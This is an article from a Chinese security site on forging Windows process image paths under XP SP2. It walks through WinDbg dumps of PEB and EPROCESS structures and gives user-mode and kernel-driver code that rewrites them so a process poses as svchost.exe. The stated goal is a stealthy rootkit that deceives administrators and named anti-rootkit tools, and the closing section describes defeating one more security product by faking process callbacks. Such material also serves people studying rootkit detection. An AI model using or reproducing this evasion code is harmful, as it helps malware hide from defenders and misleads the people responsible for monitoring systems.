百度一下 藏锋者 就能快速找到本站! 每日资讯归档 下载藏锋者到桌面一键访问

当前位置:主页 > 网络安全 > 伪造进程初探

伪造进程初探

所在栏目:网络安全 时间:04-12 19:57 分享:

willy在提出了网络安全技术中“疑进程的查找=管理员+相关工具”这一概念后,采用了向任务管理器的ListView控件发送消息的方法达到欺骗管理员(隐藏进程)的目的。根据willy的说法,隐藏/伪造进程的方法可以分为两大类:欺骗程序或者欺骗管理员。笔者认为,要想在Windows中完全隐藏进程是不值得的,现存的方法大多是DKOM,但抹掉了大量的内核数据换来的是稳定性的降低,一个成熟的Rootkit在保证隐蔽性的同时也应保证其稳定性,两者的结合才能得到较高的潜伏性。所以我们应把注意力转移到欺骗管理员这一方面,若管理员在进程列表中无法识别出Rootkit进程,那么,我们的目的就达到了。
笔者读罢《欺》文,不禁为willy的思路感叹不已。但经过仔细推敲,笔者认为《欺》中的方法并不通用,原因有三:其一,并不是所有的Ark软件均采用ListView显示进程,诸如一些控制台界面的程序以及SysInternals的Process Explorer,后者使用的是TreeList控件;其二,获取一些Ark的句柄并非易事,如众所周知的RkU,对Win32k.sys中的NtUserWindowFromPoint、NtUserFindWindowEx、NtUserBuildHwndList、NtUserQueryWindow进行了挂钩,从而杜绝了其他程序获取其主窗口句柄;其三,使用SendMessage发送消息的时候,xx参数必须位于目标进程地址空间,那么就需要诸如OpenProcess以及WriteProcessMemory之类的操作,显然早已被Ark们所拦截。
综上,笔者想要探索一种能让大部分Ark显示错误映像路径的方法。思路极其简单,探索Ark们常用的获取映像路径的方法,并尝试修改之。故本文先回顾Ark常用的获取映像路径的方法,而后逐一进行突破,最后展示一个将自己伪造成svchost.exe的程序。
本文实验环境为Windows XP SP2,不同版本的NT系统上会有细节上的差别,请大家务必注意。

Ark获取映像路径的方法
1)用户态中的可用信息大部分位于如下的PEB中:

PEB->Ldr:一个包含了进程中模块的链表,含EXE。
PEB->ProcessParameters:ProcessParameters结构包含了进程启动的参数,其中的ImagePathName以及CommandLine都包含了路径信息。
下面结合WinDbg的数据做进一步说明,非必要数据已经去掉。

lkd> dt_eprocess 888d9330 //当前WinDbg的EPROCESS
nt!_EPROCESS
+0x1b0 Peb  : 0x7ffd9000 _PEB
lkd> dt_peb 7ffd9000
nt!_PEB
+0x00c Ldr  : 0x00191e90 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
//先查看Ldr模块链
lkd> dt _PEB_LDR_DATA 0x00191e90
nt!_PEB_LDR_DATA
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x191ec0 - 0x1937a0 ]
lkd> dt_LDR_DATA_TABLE_ENTRY 0x191ec0
nt!_LDR_DATA_TABLE_ENTRY
+0x024 FullDllName : _UNICODE_STRING "D:\Program Files\Debugging Tools for Windows\windbg.exe"
+0x02c BaseDllName : _UNICODE_STRING "windbg.exe"
//可以看到,这里有完整的镜像路径,接下来看ProcessParameters
lkd> dt_RTL_USER_PROCESS_PARAMETERS 0x00020000
nt!_RTL_USER_PROCESS_PARAMETERS
+0x038 ImagePathName : _UNICODE_STRING "D:\Program Files\Debugging Tools for Windows\windbg.exe"
+0x040 CommandLine : _UNICODE_STRING ""D:\Program Files\Debugging Tools for Windows\windbg.exe" "

从用户空间读取映像路径的方法比较常见,诸如ToolHelp、PsApi等函数,使用此类方法的程序有Windows优化大师进程管理/360安全卫士以及Rku,Rku使用的一种方法是Attach到目标进程后自行读取PEB中的参数。

2)内核态中的可用信息大部分位于如下的EPROCESS中:
EPROCESS->ImageFileName:众所周知的地方,一般没多少Ark会使用它。
EPROCESS->SeAuditProcessCreationInfo:SeAuditProcessCreationInfo包含了一个ImageFileName成员,该成员为_OBJECT_NAME_INFORMATION类型,而_OBJECT_NAME_INFORMATION又是一个_UNICODE_STRING结构,所以SeAuditProcessCreationInfo也就等同于一个UNICODE_STRING结构。在我逆过的Ark中,我在安天的Atools的老版本里发现了这种方法。
EPROCESS->SectionObject->SegmentObject->FileObject->FilePath:很多人熟悉的一种方法,在IceSword中能看到其踪影。这是一个繁琐的过程,其中涉及了不少未公开的结构。
EPROCESS->VadRoot:位于EPROCESS中的VadRoot即当前进程的虚拟地址描述符(VAD),虚拟地址描述符是Windows内核中的内存管理器用于跟踪记录进程的地址空间的保留情况,此举的目的是配合Lasy Evaluation提高性能。VAD被组织成一颗自平衡的二叉树,包含了地址范围、保护属性、继承等等。而我们现在关心的只是VAD里面关于模块的信息。大家熟悉的使用NtQueryVirtualMemory枚举进程模块的方法最终也是通过遍历进程的VAD实现的,此方法被IceSword所使用,所以抹掉VAD中相关的信息可以实现隐藏进程模块绕过IceSword的检测,具体方法可以参考看雪论坛的帖子,xPLK和Sysnap分别实现了在Windows XP和Windows 2003下隐藏模块绕过IceSword的检测。此法在一些场合十分有效,诸如大名鼎鼎的phide_ex,抹掉了EPROCESS中的SectionObject,但通过遍历VAD还是能读取出其路径,此法在NewbieCoder的某个Ark中被使用。
现在结合WinDbg做进一步的说明。

lkd> dt_eprocess 888d9330
nt!_EPROCESS
+0x11c VadRoot  : 0x88a4a360
+0x174 ImageFileName  : [16]  "windbg.exe"
+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x138 SectionObject : 0xe12fabd8
//查看SeAuditProcessCreationInfo中的信息。
lkd> dt_SE_AUDIT_PROCESS_CREATION_INFO 888d9330 + 0x1f4
nt!_SE_AUDIT_PROCESS_CREATION_INFO
+0x000 ImageFileName : 0x86f94250 _OBJECT_NAME_INFORMATION
lkd> dt_UNICODE_STRING 86f94250 //UNICODE_STRING结构
nt!_UNICODE_STRING
 "\Device\HarddiskVolume2\Program Files\Debugging Tools for Windows\windbg.exe"
+0x000 Length : 0x98
+0x002 MaximumLength : 0x9a
+0x004 Buffer : 0x86f94258  "\Device\HarddiskVolume2\Program Files\Debugging Tools for Windows\windbg.exe"
//查看SectionObject:
lkd> dd e12fabd8
e12fabec  e48c07b8 00093000 00000000 090108a0
lkd> dd e48c07b8
e48c07b8  89add540 00000093 00000093 00000000
lkd> dt_CONTROL_AREA 89add540
nt!_CONTROL_AREA
+0x024 FilePointer : 0x86d163b0 _FILE_OBJECT
lkd> dt_FILE_OBJECT 86d163b0
nt!_FILE_OBJECT
+0x030 FileName  : _UNICODE_STRING "\Program Files\Debugging Tools for Windows\windbg.exe"
//查看VAD
lkd> !vad 88a4a360
VAD     level start end commit
86cac480 (12) f00 fff 254 Private READWRITE
86e6f2f0 (2) 1000 1092 23 Mapped  Exe  EXECUTE_WRITECOPY
86c81508 (5) 10a0 1110 113 Private READWRITE
lkd> dt_MMVAD 86e6f2f0
nt!_MMVAD
+0x000 StartingVpn      : 0x1000
+0x004 EndingVpn        : 0x1092
+0x008 Parent           : 0x88b9f528 _MMVAD
+0x00c LeftChild        : 0x86e9fea0 _MMVAD
+0x010 RightChild       : 0x86d1b330 _MMVAD
+0x014 u                : __unnamed
+0x018 ControlArea      : 0x89add540 _CONTROL_AREA
+0x01c FirstPrototypePte : 0xe48c07f8 _MMPTE
+0x020 LastContiguousPte : 0xfffffffc _MMPTE
+0x024 u2               : __unnamed
//查看ControlArea
lkd> dt_CONTROL_AREA 89add540
nt!_CONTROL_AREA
+0x024 FilePointer : 0x86d163b0 _FILE_OBJECT
lkd> dt_FILE_OBJECT 86d163b0
nt!_FILE_OBJECT
+0x030 FileName : _UNICODE_STRING "\Program Files\Debugging Tools for Windows\windbg.exe"

经过上述分析,我们的任务已经变得简单起来。

一些需要注意的问题
我们注意到,保存路径的大部分数据都是UNICODE_STRING结构,其结构定义如下:

lkd> dt_UNICODE_STRING
nt!_UNICODE_STRING
   +0x000 Length        : Uint2B
  +0x002 MaximumLength : Uint2B
  +0x004 Buffer        : Ptr32 Uint2B
其中的Buffer就是我们要修改的地方。按照常理,我们直接修改Buffer,然后调整Length和MaximumLength即可。但在实践中发现,如果当原始字符串的长度小于要修改的字符串时,上述方法会导致路径被截断。这里使用的方法是,用RtlInitUnicodeString初始化UNICODE_STRING结构,然后修改结构中的指针。
而在内核数据中,在FilePointer得到的路径并没有盘符,Ark获取盘符的方法是通过使用IoVolumeDeviceToDosName从FileObject中的DeviceObject得到形如“C:”这样的盘符。故为了严谨,我采用的方法是先枚举进程,获取一个正常的Svchost.exe的相关信息,然后修改本进程的EPROCESS中的指针,从而减少工作量。

代码编写
这里展示了部分重要源码,仅作为Demo,使用了大量硬编码,希望有需要的读者能够根据思路,自行改写使之通用。
用户态下的部分代码如下:

//OnInit中获得RtlInitUnicodeString的地址用于初始化字符串
RtlInitUnicodeString = (pfnRtlInitUnicodeString)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"),
"RtlInitUnicodeString"
);
//初始化字符串
RtlInitUnicodeString(&ustrFullName,L"C:\\Windows\\System32\\svchost.exe");
RtlInitUnicodeString(&ustrBaseName,L"svchost.exe");
PPEB_LDR_DATA pLdr = NULL;
PLDR_DATA_TABLE_ENTRY pLdt = NULL;
PLIST_ENTRY pList, pHead;
DWORD dwProcessParameters = 0;
__asm
{
mov eax , fs:[0x30]
mov ecx , [eax + 0x0c] //Ldr
mov pLdr , ecx
mov ecx , [eax + 0x10]
mov dwProcessParameters , ecx
}
dprintf(L"dwProcessParameters : 0x%08X.",dwProcessParameters);
dprintf(L"pLdr : 0x%08X",pLdr);
*(UNICODE_STRING *)(dwProcessParameters + 0x038) = ustrFullName;//ImagePathName
*(UNICODE_STRING *)(dwProcessParameters + 0x040) = ustrFullName;// CommandLine
*(UNICODE_STRING *)(dwProcessParameters + 0x070) = ustrFullName;//
pHead = pLdr->InLoadOrderModuleList.Flink;
//遍历模块链表,找到EXE
pList = pHead;
do
{
pLdt = CONTAINING_RECORD(
pList,
LDR_DATA_TABLE_ENTRY,
InLoadOrderLinks );
if ( pLdt->DllBase )
{
if ( !wcscmp(pLdt->BaseDllName.Buffer,L"fakeExe.exe") )
{
dprintf( L"Module : %s",pLdt->FullDllName.Buffer );
pLdt->FullDllName = ustrFullName;//修改指针
pLdt->BaseDllName = ustrBaseName;//同上
}
}
pList = pList->Flink;
}while ( pList != pHead );

内核态下的部分代码如下:
NTSTATUS DispatchCreate(
PDEVICE_OBJECT pDevObj,
PIRP pIrp
)
{
PEPROCESS currProcess;
currProcess = IoGetCurrentProcess();
//获得当前进程的EPROCESS
SvchostProcess = GetSvchostProcess();
//通过活动进程链找一个svchost.exe
dprintf("CurrProcess : 0x%08X.\n",currProcess);
fakeProcess(currProcess);//开始伪造
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
dprintf("[ke_fake_exe] DispatchCreate\n");
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID fakeProcess(PEPROCESS Process)
{
PUCHAR pImageName = NULL;
PCONTROL_AREA pSvchostCa = NULL;
PCONTROL_AREA pCurrCa = NULL;
pImageName = PsGetProcessImageFileName(Process);
//修改EPROCESS->ImageFileName
if ( pImageName )
{
strcpy(pImageName,"svchost.exe");
}
*(ULONG*)((ULONG)Process + 0x1f4) = *(ULONG*)((ULONG)SvchostProcess + 0x1f4);
//修改EPROCESS->SeAuditProcessCreationInfo
pSvchostCa = GetProcessControlAera(SvchostProcess);
//得到正常svchost.exe的ControlAera
pCurrCa = GetProcessControlAera(Process);
//本进程的ControlAera
pCurrCa->FilePointer = pSvchostCa->FilePointer;
//修改
//由于VAD里指向ControlAera指向同一个地方,所以修改一处即可
}
PEPROCESS GetSvchostProcess(
)
//通过活动进程链枚举进程,代码略
//获取ControlAera
PCONTROL_AREA GetProcessControlAera(
PEPROCESS Process
)
{
PCONTROL_AREA pControlAera = NULL;
__asm
{
mov eax , Process
mov eax , [eax + 0x138]//SectionObject
mov eax , [eax + 0x014]//SegmentObject
mov eax , [eax]
mov pControlAera , eax
}
return pControlAera;
}

以上代码在Windows XP SP2+Visual Studio 2008 SP1+WDK下编译、测试通过。

小结
看到诸多著名Ark纷纷显示出了错误的路径感觉确实不错,但当笔者拿到装有微点的机子上测试时却傻了眼,微点还是能够正确的显示出进程的路径。经分析,是因为微点使用了PsSetCreateProcessNotifyRoutine注册一个进程创建通知回调,这是一种懒而有效的方法。PsSetCreateProcessNotifyRoutine注册的回调函数保存在一个叫做PspCreateProcessNotifyRoutine的指针数组里,当进程被创建的时候,系统会取出里面的函数逐个通知,但这个时候我们的程序并没有执行,一切修改都是滞后的,因为微点保存着进程的原始路径。不过我们可以注意到,进程被结束的时候,PspCreateProcessNotifyRoutine里的回调函数也会被调用,那么微点这个时候就应当从进程表中移除我们的进程。所以要过这一关,我们可以自己模拟一下调用回调函数,模拟自己被结束,然后修改完毕之后,再模拟一下创建,这样微点里面就记录了修改后的信息,从而达到瞒天过海。由于此过程中涉及大部分未导出数据,而且微点使用EAT Hook对PsSetCreateProcessNotifyRoutine进行了挂钩,并同时Hook了MmGetSystemRoutineAddress,所以要获取PspCreateProcessNotifyRoutine需要一番周折。笔者尝试使用网络安全硬编码模拟系统向微点的回调函数发送进程结束消息,并在修改后模拟创建消息,实验证明能够骗过微点,只是硬编码不通用。

伪造进程初探 免费邮件订阅: 邮件订阅

图片推荐

热点排行榜

CopyRight? 2013 www.cangfengzhe.com All rights reserved